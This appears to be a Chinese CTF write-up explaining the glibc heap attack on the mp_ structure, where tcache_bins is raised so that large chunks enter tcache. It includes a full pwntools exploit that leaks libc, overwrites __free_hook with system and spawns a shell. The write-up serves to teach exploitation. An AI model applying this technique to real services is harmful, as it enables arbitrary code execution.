tcache攻击之mp_结构体攻击
柳贯一 发表于 江西 二进制安全 227浏览 · 2024-11-07 13:20

写在前面

最近的网鼎白虎的一道pwn和源鲁的题撞了,作者一眼看到写入666666也是没什么思路。
后面复现的时候学习到了mp结构体相关的一些内容,在这里直接拿题目和各位分享一下


上图是mp结构体里面的一些内容,mp结构体攻击的核心就是修改tcache_bins的值
让本不应该进入tcachebin的chunk进入tcache从而开展攻击

mp结构体相关知识

当mp_.tcache_bins足够大的时候,我们是可以将一个大chunk放进tcache bin中的,只是由于tcache分配在堆上,这个索引值又太大,所以这个大chunk的地址(链表头)会被放进相邻的chunk中

说简单点,tcache_bin足够大时,我们分配的大chunk进入bin时他的地址会存到相邻chunk里面
如果相邻的这个chunk我们可控的话,把这个地址覆盖成free_hook等
再写入我们需要的内容,比如one_gadget,system等就能getshell

题目分析


堆类特有的菜单题,直接略过

add函数,只能申请到0x90到0x1000之间的chunk,一开始是申请不到tcache chunk的
这题的关键打法就在于修改mp结构体中tcache_bins的内容

delete函数不存在uaf漏洞,继续看程序

edit函数,让我们输入一个地址,然后把这个地址的内容修改为666666
看到这里我的第一反应就是这道题的关键点在这里,但是一开始比赛的时候没学习过mp结构体相关内容

show函数,没什么特殊的

exp

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
eir = 0
if eir == 1:
    p=remote("",)
elif eir == 0:
    p=process(fn)
elf=ELF(fn)

def open_gdb_terminal():
    pid = p.pid
    gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
    subprocess.Popen(["gnome-terminal", "--geometry=120x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])

def dbg():
    open_gdb_terminal()
    pause()

def menu(idx):
    p.sendlineafter("Input your choice",str(idx))

def add(size,content):
    menu(1)
    p.sendafter("Size :",str(size))
    p.sendafter("Content :",content)
def dele(idx):
    menu(2)
    p.sendlineafter("Index :",str(idx))
def edit(content):
    menu(3)
    p.sendafter("content :",content)

def show(idx):
    menu(4)
    p.sendlineafter("Index :",str(idx))

add(0x500,b'a')#0
add(0x500,b'/bin/sh\x00')#1
add(0x500,b'b')#2
add(0x500,b'c')#3
add(0xa0,b'top')#4
dele(2)
add(0x500,b'z'*8)#5
show(5)
libc=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0

#dbg()
system=libc+0x52290
free_hook=libc+0x1eee48
mp=libc+0x1ec280+0x50
edit(p64(mp))

dele(3)
dele(0)
#dbg()

add(0x500,b'\x00'*0x68+p64(free_hook))#0
add(0x500,p64(system))#3
#dbg()
dele(1)

p.interactive()

我们对exp进行逐步分析

add(0x500,b'a')#0
add(0x500,b'/bin/sh\x00')#1
add(0x500,b'b')#2
add(0x500,b'c')#3
add(0xa0,b'top')#4
dele(2)
add(0x500,b'z'*8)#5
show(5)
libc=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0

先申请几个大小不在tcache中的chunk
在free之后再申请回来的时候,unsortedbin中的chunk会存在指针残留
残留的指针会指向main_arena附近的空间,泄露之后我们就能得到libc基址

右边的终端输出的内容是我们泄露出来没减去偏移的值,两者相减即可得到偏移。

mp结构体的地址可以通过gdb调试得到

mp结构体的地址和内容我们都可以看gdb里面,我们要修改的tcache_bins相对于mp的偏移是0x50
所有我们在exp中写mp=libc+0x1ec280+0x50
在指向edit(p64(mp))之后我们看看mp结构体


可以看到,mp结构体中的tcache_bin已经被我们修改为666666了

接下来free一个大chunk,找一下这个chunk的地址是多少,并且存在了哪个chunk里面
找要free的chunk地址可以通过查看free时的参数来看

可以看到free的参数就是我们要free的chunk地址
我们再去看看这个地址存到了哪里

可以看到存到了地址末尾为0x290内的chunk里面,也就是chunk0
所以我们再把chunk0给free掉,然后再次申请并把该处的内容改为system函数
我们gdb查看一下修改之后的内容

已经被修改为了system函数,此时我们调用free函数就会调用system函数
而再次之前我们已经向chunk1里面写入了/bin/sh\x00
我们只需要delete(1)即可getshell

0 条评论
某人
表情
可输入 255